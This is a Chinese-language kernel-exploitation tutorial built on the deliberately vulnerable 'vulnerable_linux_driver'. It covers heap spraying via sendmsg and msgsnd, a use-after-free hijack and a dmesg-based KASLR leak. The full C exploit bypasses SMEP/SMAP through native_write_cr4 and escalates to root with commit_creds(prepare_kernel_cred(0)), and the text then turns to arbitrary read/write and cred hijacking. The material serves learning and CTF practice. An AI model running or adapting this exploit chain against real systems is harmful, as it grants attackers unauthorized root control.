文章首发于安全客 ,本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/204319
安全客 – 有思想的安全新媒体

0x01 前言

由于关于Kernel安全的文章实在过于繁杂,本文有部分内容大篇幅或全文引用了参考文献,若出现此情况的,将在相关内容的开头予以说明,部分引用参考文献的将在文件结尾的参考链接中注明。

从本篇番外开始,将会记录在CTFKernel Pwn的一些思路,由于与Kernel Pwn 学习之路(X)系列的顺序学习路径有区别,故单独以番外的形式呈现。

本文将会以实例来说几个Linux提权思路,本文主要依托于以下两个文章分析:

linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

linux内核提权系列教程(2):任意地址读写到提权的4种方法 – bsauce

0x02 堆喷射执行任意代码(Heap Spray)

关于堆喷射

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

传统slide code(滑板指令)一般是NOP指令,但是随着一些新的攻击技术的出现,逐渐开始使用更多的类NOP指令,譬如0x0C(0x0C0C代表的x86指令是OR AL 0x0C),0x0D等等,不管是NOP还是0C,它们的共同特点就是不会影响shellcode的执行。

Linux Kernel中的Heap Spray

首先,内核中的内存分配使用slub机制而不是libc机制,我们的利用核心就是在内核中寻找是否有一些函数可以被我们直接调用,且在调用后会在内核空间申请指定大小的chunk,并把用户的数据拷贝过去

常用的漏洞函数 —— sendmsg

源码分析

sendmsg函数在/v4.6-rc1/source/net/socket.c#L1872中实现

static int ___sys_sendmsg(
    struct socket *sock, struct user_msghdr __user *msg,
    struct msghdr *msg_sys, 
    unsigned int flags,
    struct used_address *used_address,
    unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    // 创建 44 字节的栈缓冲区 ctl ,此处的 20 是 ipv6_pktinfo 结构的大小
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));
    // 使 ctl_buf 指向栈缓冲区 ctl
    unsigned char *ctl_buf = ctl;
    int ctl_len;
    ssize_t err;

    msg_sys->msg_name = &address;

    if (MSG_CMSG_COMPAT & flags)
        err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
    else
        // 将用户数据的 msghdr 消息头部拷贝到 msg_sys
        err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov);
    if (err < 0)
        return err;

    err = -ENOBUFS;

    if (msg_sys->msg_controllen > INT_MAX)
        goto out_freeiov;
    flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
    //如果用户提供的 msg_controllen 大于 INT_MAX,就把 ctl_len 赋值为用户提供的 msg_controllen
    ctl_len = msg_sys->msg_controllen;
    if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
        err = cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl, sizeof(ctl));
        if (err)
            goto out_freeiov;
        ctl_buf = msg_sys->msg_control;
        ctl_len = msg_sys->msg_controllen;
    } else if (ctl_len) {
        // 注意此处要求用户数据的size必须大于 ctl 大小,即44字节
        if (ctl_len > sizeof(ctl)) {
            // sock_kmalloc 会最终调用 kmalloc 分配 ctl_len 大小的堆块
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         * msg_sys->msg_control 是用户可控的用户缓冲区
         * ctl_len 是用户可控的长度
         * 这里将用户数据拷贝到 ctl_buf 内核空间。
         */
         */
        if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }
    msg_sys->msg_flags = flags;

    ......

}

那么,也就是说,只要我们的用户数据大于44字节,我们就能够申请下来一个我们指定大小的Chunk,并向其填充数据,完成了堆喷的要件。

POC

// 此处要求 BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};

int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

// 布置用户空间buff的内容
msg.msg_control = buff; // 此处的buff即为我们意图布置的数据
msg.msg_controllen = BUFF_SIZE; 
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

常用的漏洞函数 —— msgsnd

源码分析

msgsnd函数在/v4.6-rc1/source/ipc/msg.c#L722中定义

// In /v4.6-rc1/source/ipc/msg.c#L722
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg)
{
    long mtype;

    if (get_user(mtype, &msgp->mtype))
        return -EFAULT;
    return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

// In /v4.6-rc1/source/ipc/msg.c#L609

long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg)
{
    struct msg_queue *msq;
    struct msg_msg *msg;
    int err;
    struct ipc_namespace *ns;

    ns = current->nsproxy->ipc_ns;

    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
        return -EINVAL;
    if (mtype < 1)
        return -EINVAL;

    // 调用利用的核心函数 load_msg
    msg = load_msg(mtext, msgsz);
    ......
}

// In /v4.6-rc1/source/ipc/msgutil.c#L86

struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;

    // alloc_msg 会最终调用 kmalloc
    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);

    alen = min(len, DATALEN_MSG);
    // 第一次将我们用户的输入传入目标位置
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;

    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        // 第二次将我们用户的输入传入目标位置
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }

    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;

    return msg;

out_err:
    free_msg(msg);
    return ERR_PTR(err);
}

// In /v4.6-rc1/source/ipc/msgutil.c#L51

#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    alen = min(len, DATALEN_MSG);
    // 实际分配的大小将是 msg_msg 结构大小加上我们用户传入的大小
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
    ......
}

do_msgsnd()根据用户传递的buffersize参数调用load_msg(mtext, msgsz)load_msg()先调用alloc_msg(msgsz)创建一个msg_msg结构体,然后拷贝用户空间的buffer紧跟msg_msg结构体的后面,相当于给buffer添加了一个头部,因为msg_msg结构体大小等于0x30,因此用户态的buffer大小等于xx-0x30。也就是说我们输入的前0x30字节不可控,也就是说我们的滑板代码中可能会被插入阻塞代码

POC

struct {
    long mtype;
    char mtext[BUFF_SIZE];
}msg;

// 布置用户空间的内容
memset(msg.mtext, 0x42, BUFF_SIZE-1); 
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0

// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
    msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可

以vulnerable_linux_driver为例

关于vulnerable_linux_driver

vulnerable_linux_driver是一个易受攻击的Linux驱动程序,一般用于内核利用中的研究目的。

它是基于hacksys团队的出色工作完成的,该团队做了脆弱的Windows驱动程序

这不是CTF风格的挑战,漏洞非常明显,主要目的是方便开发人员理解内核利用。

项目地址:https://github.com/invictus-0x90/vulnerable_linux_driver

构建vulnerable_linux_driver

首先需要编译官方推荐使用的4.6.0-rc1版本内核,编译完成后,使用项目给出的MAKEFILE将其编译成为内核模块。

这里的文件系统可以使用如下init文件:

#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys

#
# module
#
insmod /lib/modules/*/*.ko
chmod 666 /dev/vulnerable_device

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
umount /dev

poweroff -f

模块漏洞分析

这里我们为了更贴近实战,使用IDA进行分析,并且为了演示堆喷射,这里仅分析其Use-After-Free漏洞。

首先是用于交互的do_ioctl函数我们首先通过带有uaf表示的变量来寻找相关的交互函数:

  1. 申请并初始化一个Chunk,交互码0xFE03
    if ( cmd != 0xFE03 )
       return 0LL;
    // 分配一个UAF对象
    v13 = (uaf_obj *)kmem_cache_alloc_trace(kmalloc_caches[1], 0x24000C0LL, 0x58LL);
    if ( v13 )
    {
       v13->arg = (__int64)v4;
       // fn 指向回调函数 uaf_callback
       v13->fn = (void (*)(__int64))uaf_callback;
       // 第一个缓冲区 uaf_first_buff 填充 "A"
       *(_QWORD *)v13->uaf_first_buff = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[8] = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[16] = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[24] = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[32] = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[40] = 0x4141414141414141LL;
       *(_QWORD *)&v13->uaf_first_buff[48] = 0x4141414141414141LL;
       // global_uaf_obj 全局变量指向该对象
       global_uaf_obj = v13;
       printk(&unk_6A8); // 4[x] Allocated uaf object [x]
    }
    
  2. 调用一个Chunk的fn指针,交互码0xFE04
    if ( cmd == 0xFE04 )
    {
       if ( !global_uaf_obj->fn )
           return 0LL;
       v14 = global_uaf_obj->arg;
       printk(&unk_809); // 4[x] Calling 0x%p(%lu)[x]
       ((void (__fastcall *)(__int64))global_uaf_obj->fn)(global_uaf_obj->arg);
       result = 0LL;
    }
    
  3. 创建一个k_obj,并向其传入数据,交互码0x8008FE05
    if ( cmd == 0x8008FE05 )
     {
       v17 = kmem_cache_alloc_trace(kmalloc_caches[1], 0x24000C0LL, 0x60LL);
       if ( v17 )
       {
         copy_from_user(v17, v4, 0x60LL);
         printk(&unk_825);
       }
       else
       {
         printk(&unk_6C8);
       }
       return 0LL;
     }
    
  4. 释放一个Chunk,交互码0xFE06
    case 0xFE06u:
       kfree(global_uaf_obj);
       printk(&unk_843); // 4[x] uaf object freed [x]
       result = 0LL;
       break;
    

这里的漏洞很明显,程序在释放那个Chunk时,并没有将其释放后的指针清零,这将造成UAF漏洞。

利用k_obj控制执行流

那么,如果我们首先创建一个Chunk并释放,global_uaf_obj将指向一个已被释放的0x58大小的Chunk,接下来我们创建一个k_obj,由于大小相近,他们将处于同一个cache,而k_obj的内容是可控的,这将导致我们可以控制global_uaf_obj -> fn利用代码如下:

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include<stdio.h>
#include<fcntl.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>

void init(){
        setbuf(stdin,0);
        setbuf(stdout,0);
        setbuf(stderr,0);
}

size_t user_cs, user_rflags, user_ss, user_rsp;

void save_user_status(){
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[+] Save User Status");
    printf("user_cs = %p\n",user_cs);
    printf("user_ss = %p\n",user_ss);
    printf("user_rsp = %p\n",user_rsp);
    printf("user_rflags = %p\n",user_rflags);
    puts("[+] Save Success");
}

int main(int argc,char * argv[]){
    init();
    save_user_status();

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    char send_data[0x60];
    memset(send_data,'A',0x60);

    ioctl(fd, 0xFE03, NULL);
    ioctl(fd, 0xFE06, NULL);

    ioctl(fd, 0x8008FE05, send_data);
    ioctl(fd, 0xFE04, NULL);
    return 0;
}

image-20200426111212516

那么,我们现在已经能控制EIP了。那么接下来我们考虑,如果没有k_obj以供我们利用,我们又应该如何控制执行流呢?

利用Heap Spray控制执行流

这里我们采用两种方式进行Heap Spray,第一种是借助sendmsg函数。

⚠️:使用sendmsg函数时,我们分配的目标Chunk应当大于44字节。

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include<stdio.h>
#include<fcntl.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>

#define BUFF_SIZE 0x60

void init(){
    ......
}

size_t user_cs, user_rflags, user_ss, user_rsp;

void save_user_status(){
    ......
}

void heap_spray_sendmsg(int fd, size_t target, size_t arg)
{
    char buff[BUFF_SIZE];
    struct msghdr msg={0};
    struct sockaddr_in addr={0};
    int sockfd = socket(AF_INET,SOCK_DGRAM,0);

    memset(buff, 0x43 ,sizeof buff);
    memcpy(buff+56, &arg ,sizeof(long));
    memcpy(buff+56+(sizeof(long)), &target ,sizeof(long));

    addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(6666);


    msg.msg_control=buff;
    msg.msg_controllen=BUFF_SIZE;
    msg.msg_name=(caddr_t)&addr;
    msg.msg_namelen= sizeof(addr);

    ioctl(fd, 0xFE03, NULL);
    ioctl(fd, 0xFE06, NULL);

    for (int i=0;i<10000;i++){
        sendmsg(sockfd, &msg, 0);
    }

    ioctl(fd, 0xFE04, NULL);
}

int main(int argc,char * argv[]){
    init();
    save_user_status();

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    heap_spray_sendmsg(fd,0x4242424242424242,0);
    return 0;
}

image-20200426113543312

另一种方式就是调用msgsnd函数。

⚠️:使用msgsnd函数时,我们分配的目标Chunk应当大于44字节。

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include<stdio.h>
#include<fcntl.h>
#include<string.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>

#define BUFF_SIZE 0x60

void init(){
    ......
}

size_t user_cs, user_rflags, user_ss, user_rsp;

void save_user_status(){
    ......
}

int heap_spray_msgsnd(int fd, size_t target, size_t arg){
    int new_len = BUFF_SIZE - 48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;

    memset(msg.mtext,0x42,new_len-1);
    memcpy(msg.mtext+56-48,&arg,sizeof(long));
    memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
    msg.mtext[new_len]=0;
    msg.mtype=1; 

    int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);

    ioctl(fd, 0xFE03, NULL);
    ioctl(fd, 0xFE06, NULL);

    for (int i=0;i<120;i++){
        msgsnd(msqid,&msg,sizeof(msg.mtext),0);
    }

    ioctl(fd, 0xFE04, NULL);
}

int main(int argc,char * argv[]){
    init();
    save_user_status();

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    heap_spray_msgsnd(fd,0x4343434343434343,0);
    return 0;
}

image-20200426114530710

成功控制执行流之后就是如何提权的问题了,接下来我们修改QEMU的启动脚本,进一步加大利用难度

#!/bin/sh
qemu-system-x86_64 \
-m 128M -smp 4,cores=1,threads=1  \
-kernel bzImage \
-initrd  core.cpio \
-append "root=/dev/ram rw loglevel=10 console=ttyS0 oops=panic panic=1 quiet kaslr" \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

也就是开启了KASLRSMEPSMAP保护!

利用Kernel Crash泄露内核加载基址

可以发现,如果内核发生crash,会提示这样的信息[<ffffffffc011b47d>] ? do_ioctl+0x34d/0x4c0 [vuln_driver],我们可以据此计算出内核加载基址。

⚠️:若使用此方法来绕过kaslr,我们必须保证触发crash时内核不会被重启,这要求我们的QEMU语句中不能存在oops=panic panic=1语句,这一句的意义是,将oops类型的错误视为panic错误进行处理,对于panic错误,经过1秒重启内核。

// 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来
pid_t pid=fork();
if (pid==0){
    do_page_fault();
    exit(0);
}
int status;
wait(&status);
//sleep(10);
printf("[+] Begin to leak address by dmesg![+]\n");
size_t kernel_base = get_info_leak()-sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+] \n", kernel_base);

native_write_cr4_addr+=kernel_base;
prepare_kernel_cred_addr+=kernel_base;
commit_creds_addr+=kernel_base;

image-20200426201236633

利用native_write_cr4绕过SMEPSMAP

这个函数是一个内核级的函数,如果可以控制函数执行流以及第一个参数,我们就可以向CR4寄存器写入任意值。

函数在/v4.6-rc1/source/arch/x86/include/asm/special_insns.h#L82处实现:

static inline void native_write_cr4(unsigned long val)
{
    asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}

而我们此处的堆喷利用恰好满足条件,那么我们结合堆喷以及之前泄露内核加载基址的方式可以得到以下利用代码:

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

#define sys_ioctl_offset 0x22FB79
#define BUFF_SIZE 0x60
#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"

void init(){
    ......
}

size_t user_cs, user_rflags, user_ss, user_rsp;

size_t native_write_cr4_addr = 0x64500;
size_t prepare_kernel_cred_addr = 0xA40B0;
size_t commit_creds_addr = 0xA3CC0;

void save_user_status(){
    ......
}

int heap_spray_msgsnd(int fd, size_t target, size_t arg){
    ......
}

void leak_kernel_base(){
    ......
}

int main(int argc,char * argv[]){
    init();
    save_user_status();
    leak_kernel_base();

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    heap_spray_msgsnd(fd,native_write_cr4_addr,0x6E0);
    // 验证结果↓
    heap_spray_msgsnd(fd,0x4545454545454545,0);
    printf("Done!");
    return 0;
}

image-20200426203353612

提权&最终Exploit

于是我们最后可以使用commit_creds(prepare_kernel_cred(0));完成最终提权!

//gcc ./exploit.c -o exploit -static -fno-stack-protector -masm=intel -lpthread
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

#define sys_ioctl_offset 0x22FB79
#define BUFF_SIZE 0x60
#define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak"

void init(){
        setbuf(stdin,0);
        setbuf(stdout,0);
        setbuf(stderr,0);
}

size_t user_cs, user_rflags, user_ss, user_rsp;

size_t native_write_cr4_addr = 0x64500;
char* (*prepare_kernel_cred_addr)(int) = 0xA40B0;
void (*commit_creds_addr)(char *) = 0xA3CC0;

void save_user_status(){
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[+] Save User Status");
    printf("user_cs = %p\n",user_cs);
    printf("user_ss = %p\n",user_ss);
    printf("user_rsp = %p\n",user_rsp);
    printf("user_rflags = %p\n",user_rflags);
    puts("[+] Save Success");
}

int heap_spray_msgsnd(int fd, size_t target, size_t arg){
    int new_len = BUFF_SIZE - 48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;

    memset(msg.mtext,0x42,new_len-1);
    memcpy(msg.mtext+56-48,&arg,sizeof(long));
    memcpy(msg.mtext+56-48+(sizeof(long)),&target,sizeof(long));
    msg.mtext[new_len]=0;
    msg.mtype=1; 

    int msqid=msgget(IPC_PRIVATE,0644 | IPC_CREAT);

    ioctl(fd, 0xFE03, NULL);
    ioctl(fd, 0xFE06, NULL);

    for (int i=0;i<120;i++){
        msgsnd(msqid,&msg,sizeof(msg.mtext),0);
    }

    ioctl(fd, 0xFE04, NULL);
}

void leak_kernel_base(){
    pid_t pid=fork();
    if (pid==0){
        int fd_child = open("/dev/vulnerable_device",0);
        if (fd_child < 0){
            puts("open fail!");
            return 0;
        }
        heap_spray_msgsnd(fd_child,0x4444444444444444,0);
        exit(0);
    }

    wait(NULL);

    printf("[+] Begin to leak address by dmesg![+]\n");

    system(GREP_INFOLEAK);

    long addr = 0;
    FILE *fd = fopen("/tmp/infoleak", "r");

    fscanf(fd, "%lx", &addr);
    fclose(fd);

    size_t kernel_base = addr - sys_ioctl_offset;
    printf("[+] Kernel base addr : %p [+] \n", kernel_base);
    native_write_cr4_addr += kernel_base;
    prepare_kernel_cred_addr += kernel_base;
    commit_creds_addr += kernel_base;
}

void get_root()
{
    commit_creds_addr(prepare_kernel_cred_addr(0));
}

int main(int argc,char * argv[]){
    init();
    save_user_status();
    leak_kernel_base();

    int fd = open("/dev/vulnerable_device",0);
    if (fd < 0){
        puts("open fail!");
        return 0;
    }

    heap_spray_msgsnd(fd,native_write_cr4_addr,0x6E0);
    heap_spray_msgsnd(fd,(size_t)get_root,0);

    if(getuid() == 0) {
        printf("[!!!] Now! You are root! [!!!]\n");
        system("/bin/sh");
    }
    return 0;
}

image-20200426205415671

0x03 从任意地址读写提权

我们这里仍然以vulnerable_linux_driver为例,这里我们使用它的任意地址读写漏洞模块。

模块漏洞分析

与任意地址读写相关的交互函数如下:

  1. 申请并初始化一个mem_buffer结构体将其存于全局变量g_mem_buffer,申请一个用户传入大小的chunk将其存于g_mem_buffer -> data,交互码0x8008FE07
case 0x8008FE07:
if ( !copy_from_user(&s_args, v3, 8LL) )
{
    if ( !s_args )
        return 0LL;
    if ( *(&g_mem_buffer + 0x20000000) )
        return 0LL;
    g_mem_buffer = kmem_cache_alloc_trace(kmalloc_caches[5], 0x24000C0LL, 0x18LL);
    if ( !g_mem_buffer )
        return 0LL;
    g_mem_buffer->data = _kmalloc(s_args, 0x24000C0LL);
    if ( g_mem_buffer->data )
    {
        g_mem_buffer->data_size = s_args;
        g_mem_buffer->pos = 0LL;
        printk(&unk_6F8,g_mem_buffer->data_size); // 6[x] Allocated memory with size %lu [x]
    }
    else
    {
        kfree(g_mem_buffer);
    }
    return 0LL;
}

00000000 init_args       struc ; (sizeof=0x8, align=0x8, copyof_518)
00000000 size            dq ?
00000008 init_args       ends

00000000 mem_buffer_0    struc ; (sizeof=0x18, align=0x8, copyof_517)
00000000 data_size       dq ?
00000008 data            dq ?                    ; offset
00000010 pos             dq ?
00000018 mem_buffer_0    ends
  1. 依据s_args -> grow是否被置位来决定是增加或是减少g_mem_buffer->data_size,并重新分配一个相应大小加一的chunk,交互码0x8008FE08
case 0x8008FE08:
if ( !copy_from_user(&s_args, v3, 16LL) && g_mem_buffer )
{
    if ( s_args -> grow )
        new_size = g_mem_buffer->data_size + s_args -> size;
    else
        new_size = g_mem_buffer->data_size - s_args -> size;
    g_mem_buffer->data = (char *)krealloc(g_mem_buffer->data, new_size + 1, 0x24000C0LL);
    if ( !g_mem_buffer->data )
        return -12LL;
    g_mem_buffer->data_size = new_size;
    printk(&unk_728,g_mem_buffer->data_size); // 6[x] g_mem_buffer->data_size = %lu [x]
    return 0LL;
}

00000000 realloc_args    struc ; (sizeof=0x10, align=0x8, copyof_520)
00000000 grow            dd ?
00000004                 db ? ; undefined
00000005                 db ? ; undefined
00000006                 db ? ; undefined
00000007                 db ? ; undefined
00000008 size            dq ?
00000010 realloc_args    ends
  1. g_mem_buffer->data[g_mem_buffer->pos]处向用户传入的buffcount字节,交互码0x8008FE09
if ( cmd != 0xC008FE09 )
    return 0LL;
if ( !copy_from_user(&s_args, v3, 16LL) && g_mem_buffer )
{
    pos = g_mem_buffer->pos;
    result = -22LL;
    if ( s_args -> count + pos <= g_mem_buffer->data_size )
        result = copy_to_user(s_args -> buff, &g_mem_buffer->data[pos], s_args -> count);
    return result;
}

00000000 read_args       struc ; (sizeof=0x10, align=0x8, copyof_522)
00000000 buff            dq ?                    ; offset
00000008 count           dq ?
00000010 read_args       ends
  1. 依据用户输入更新g_mem_buffer->pos,交互码0x8008FE0A
case 0x8008FE0A:
if ( !copy_from_user(&s_args, v3, 8LL) )
{
    result = -22LL;
    if ( g_mem_buffer )
    {
        v16 = (signed int)s_args;
        result = 0LL;
        if ( s_args -> new_pos < g_mem_buffer->data_size )
        {
            g_mem_buffer->pos =  s_args -> new_pos;
            result = v16;
        }
    }
    return result;
}

00000000 seek_args       struc ; (sizeof=0x8, align=0x8, copyof_524)
00000000 new_pos         dq ?
00000008 seek_args       ends
  1. g_mem_buffer->data[g_mem_buffer->pos]处写count字节由用户传入的buff,交互码0x8008FE0B
if ( cmd == 0x8008FE0B )
{
    if ( !copy_from_user(&s_args, v3, 16LL) && g_mem_buffer )
    {
        result = -22LL;
        if ( s_args -> count + g_mem_buffer -> pos <= g_mem_buffer -> data_size )
          result = copy_from_user(&g_mem_buffer->data[g_mem_buffer-> pos], 
                                  s_args -> buff, 
                                  s_args -> count);
        return result;
    }
}

00000000 write_args      struc ; (sizeof=0x10, align=0x8, copyof_526)
00000000 buff            dq ?                    ; offset
00000008 count           dq ?
00000010 write_args      ends

很明显,在重分配逻辑中,模块没有对new_size进行检查,如果我们传入的s_args -> size使得new_size-1,程序将会接下来进行kmalloc(0),随后我们会获得一个0x10大小的Chunk,但是随后我们的g_mem_buffer -> data_size将会被更新为0xFFFFFFFFFFFFFFFF,这意味着我们拥有了任意地址写的能力。

我们触发任意地址写的代码是:

struct init_args i_args;
struct realloc_args r_args;
i_args.size=0x100;
ioctl(fd, 0x8008FE07, &i_args);

r_args.grow = 0;
r_args.size = 0x100 + 1;
ioctl(fd, 0x8008FE08, &r_args);
puts("[+] Now! We can read and write any memory! [+]");

第一种提权姿势-劫持cred结构体

关于cred结构体

每个线程在内核中都对应一个线程栈,并由一个线程结构块thread_info去调度,thread_info结构体同时也包含了线程的一系列信息,它一般被存放位于线程栈的最低地址。

结构体定义在/v4.6-rc1/source/arch/x86/include/asm/thread_info.h#L55

struct thread_info {
    struct task_struct  *task;      /* main task structure */
    __u32               flags;      /* low level flags */
    __u32               status;     /* thread synchronous flags */
    __u32               cpu;        /* current CPU */
    mm_segment_t        addr_limit;
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

thread_info中最重要的成员是task_struct结构体,它被定义在/v4.6-rc1/source/include/linux/sched.h#L1394

struct task_struct {
    volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
    void *stack;
    atomic_t usage;
    unsigned int flags; /* per process flags, defined below */
    unsigned int ptrace;

    ......

    unsigned long nvcsw, nivcsw; /* context switch counts */
    u64 start_time;     /* monotonic time in nsec */
    u64 real_start_time;    /* boot based time in nsec */
    /* 
     * mm fault and swap info: this can arguably be seen as either 
     * mm-specific or thread-specific 
     */
    unsigned long min_flt, maj_flt;

    struct task_cputime cputime_expires;
    struct list_head cpu_timers[3];

    /* process credentials */

    // objective and real subjective task credentials (COW) 
    const struct cred __rcu *real_cred; 
    // effective (overridable) subjective task credentials (COW)
    const struct cred __rcu *cred;
    /*
     * executable name excluding path
     * - access with [gs]et_task_comm (which lockit with task_lock())
     * - initialized normally by setup_new_exec
     */
    char comm[TASK_COMM_LEN]; 

    /* file system info */
    struct nameidata *nameidata;

#ifdef CONFIG_SYSVIPC
    /* ipc stuff */
    struct sysv_sem sysvsem;
    struct sysv_shm sysvshm;
#endif

    ......
};

cred结构体表示该线程的权限,它定义在/v4.6-rc1/source/include/linux/cred.h#L118

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;            /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t      uid;                    /* real UID of the task */
    kgid_t      gid;                    /* real GID of the task */
    kuid_t      suid;                   /* saved UID of the task */
    kgid_t      sgid;                   /* saved GID of the task */
    kuid_t      euid;                   /* effective UID of the task */
    kgid_t      egid;                   /* effective GID of the task */
    kuid_t      fsuid;                  /* UID for VFS ops */
    kgid_t      fsgid;                  /* GID for VFS ops */
    unsigned    securebits;             /* SUID-less security management */
    kernel_cap_t    cap_inheritable;    /* caps our children can inherit */
    kernel_cap_t    cap_permitted;      /* caps we're permitted */
    kernel_cap_t    cap_effective;      /* caps we can actually use */
    kernel_cap_t    cap_bset;           /* capability bounding set */
    kernel_cap_t    cap_ambient;        /* Ambient capability set */
